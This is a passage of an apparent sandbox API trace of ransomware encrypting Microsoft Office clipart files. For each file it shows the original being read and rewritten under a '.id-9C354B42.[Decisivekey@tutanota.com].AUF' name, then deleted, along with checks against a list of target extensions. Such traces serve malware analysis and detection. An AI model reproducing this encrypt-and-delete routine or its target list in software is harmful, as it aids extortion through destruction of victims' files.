dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.571] GetLastError () returned 0x0 [0216.571] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xc48, lpOverlapped=0x0) returned 1 [0216.588] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0216.589] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.589] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.589] SetEndOfFile (hFile=0x20c) returned 1 [0216.589] CloseHandle (hObject=0x20c) returned 1 [0216.595] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.595] SetEndOfFile (hFile=0x1e4) returned 1 [0216.596] CloseHandle (hObject=0x1e4) returned 1 [0216.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0216.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0216.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0216.596] lstrlenW (lpString=".doc") returned 4 [0216.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.596] lstrlenW (lpString=".docx") returned 5 [0216.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.596] lstrlenW (lpString=".pdf") returned 4 [0216.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.596] lstrlenW (lpString=".xls") returned 4 [0216.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.596] lstrlenW (lpString=".xlsx") returned 5 [0216.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.596] lstrlenW (lpString=".ppt") returned 4 [0216.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0216.596] lstrlenW (lpString=".zip") returned 4 [0216.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.596] lstrlenW (lpString=".rar") returned 4 [0216.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.596] lstrlenW (lpString=".bz2") returned 4 [0216.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.596] lstrlenW (lpString=".7z") returned 3 [0216.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0216.596] lstrlenW (lpString=".dbf") returned 4 [0216.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0216.597] lstrlenW (lpString=".1cd") returned 4 [0216.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0216.597] lstrlenW (lpString=".jpg") returned 4 [0216.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.597] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2016) returned 1 [0216.597] CloseHandle (hObject=0x1e4) returned 1 [0216.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0216.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.597] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.597] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.598] GetLastError () returned 0x0 [0216.598] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0216.602] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0216.603] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.603] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.603] SetEndOfFile (hFile=0x20c) returned 1 [0216.603] CloseHandle (hObject=0x20c) returned 1 [0216.607] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.607] SetEndOfFile (hFile=0x1e4) returned 1 [0216.608] CloseHandle (hObject=0x1e4) returned 1 [0216.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0216.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0216.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0216.609] lstrlenW (lpString=".doc") returned 4 [0216.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.609] lstrlenW (lpString=".docx") returned 5 [0216.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.609] lstrlenW (lpString=".pdf") returned 4 [0216.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.609] lstrlenW (lpString=".xls") returned 4 [0216.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.609] lstrlenW (lpString=".xlsx") returned 5 [0216.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.609] lstrlenW (lpString=".ppt") returned 4 [0216.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0216.609] lstrlenW (lpString=".zip") returned 4 [0216.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.609] lstrlenW (lpString=".rar") returned 4 [0216.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.609] lstrlenW (lpString=".bz2") returned 4 [0216.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.609] lstrlenW (lpString=".7z") returned 3 [0216.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0216.609] lstrlenW (lpString=".dbf") returned 4 [0216.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0216.609] lstrlenW (lpString=".1cd") returned 4 [0216.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0216.609] lstrlenW (lpString=".jpg") returned 4 [0216.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.609] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3348) returned 1 [0216.609] CloseHandle (hObject=0x1e4) returned 1 [0216.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0216.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.610] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.610] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.610] GetLastError () returned 0x0 [0216.610] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xd14, lpOverlapped=0x0) returned 1 [0216.624] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0216.625] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.625] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.625] SetEndOfFile (hFile=0x21c) returned 1 [0216.625] CloseHandle (hObject=0x21c) returned 1 [0216.625] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.625] SetEndOfFile (hFile=0x1e4) returned 1 [0216.626] CloseHandle (hObject=0x1e4) returned 1 [0216.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0216.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0216.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0216.626] lstrlenW (lpString=".doc") returned 4 [0216.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.626] lstrlenW (lpString=".docx") returned 5 [0216.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.626] lstrlenW (lpString=".pdf") returned 4 [0216.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.626] lstrlenW (lpString=".xls") returned 4 [0216.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.626] lstrlenW (lpString=".xlsx") returned 5 [0216.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.626] lstrlenW (lpString=".ppt") returned 4 [0216.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0216.626] lstrlenW (lpString=".zip") returned 4 [0216.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.626] lstrlenW (lpString=".rar") returned 4 [0216.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.626] lstrlenW (lpString=".bz2") returned 4 [0216.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.626] lstrlenW (lpString=".7z") returned 3 [0216.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0216.627] lstrlenW (lpString=".dbf") returned 4 [0216.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0216.627] lstrlenW (lpString=".1cd") returned 4 [0216.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0216.627] lstrlenW (lpString=".jpg") returned 4 [0216.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.627] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4996) returned 1 [0216.627] CloseHandle (hObject=0x1e4) returned 1 [0216.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0216.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.627] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.627] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.628] GetLastError () returned 0x0 [0216.628] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1384, lpOverlapped=0x0) returned 1 [0216.639] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0216.639] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.639] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.639] SetEndOfFile (hFile=0x21c) returned 1 [0216.639] CloseHandle (hObject=0x21c) returned 1 [0216.640] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.640] SetEndOfFile (hFile=0x1e4) returned 1 [0216.640] CloseHandle (hObject=0x1e4) returned 1 [0216.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0216.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0216.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0216.641] lstrlenW (lpString=".doc") returned 4 [0216.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.641] lstrlenW (lpString=".docx") returned 5 [0216.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.641] lstrlenW (lpString=".pdf") returned 4 [0216.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.641] lstrlenW (lpString=".xls") returned 4 [0216.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.641] lstrlenW (lpString=".xlsx") returned 5 [0216.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.641] lstrlenW (lpString=".ppt") returned 4 [0216.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0216.641] lstrlenW (lpString=".zip") returned 4 [0216.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.641] lstrlenW (lpString=".rar") returned 4 [0216.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.641] lstrlenW (lpString=".bz2") returned 4 [0216.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.641] lstrlenW (lpString=".7z") returned 3 [0216.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0216.641] lstrlenW (lpString=".dbf") returned 4 [0216.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0216.642] lstrlenW (lpString=".1cd") returned 4 [0216.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0216.642] lstrlenW (lpString=".jpg") returned 4 [0216.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.642] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=26886) returned 1 [0216.642] CloseHandle (hObject=0x1e4) returned 1 [0216.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0216.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.642] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.642] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.643] GetLastError () returned 0x0 [0216.643] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x6906, lpOverlapped=0x0) returned 1 [0216.652] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0216.653] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.653] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.653] SetEndOfFile (hFile=0x21c) returned 1 [0216.653] CloseHandle (hObject=0x21c) returned 1 [0216.654] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.654] SetEndOfFile (hFile=0x1e4) returned 1 [0216.654] CloseHandle (hObject=0x1e4) returned 1 [0216.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0216.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0216.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0216.655] lstrlenW (lpString=".doc") returned 4 [0216.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.655] lstrlenW (lpString=".docx") returned 5 [0216.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.655] lstrlenW (lpString=".pdf") returned 4 [0216.655] lstrcmpiW (lpString1=".pdf", 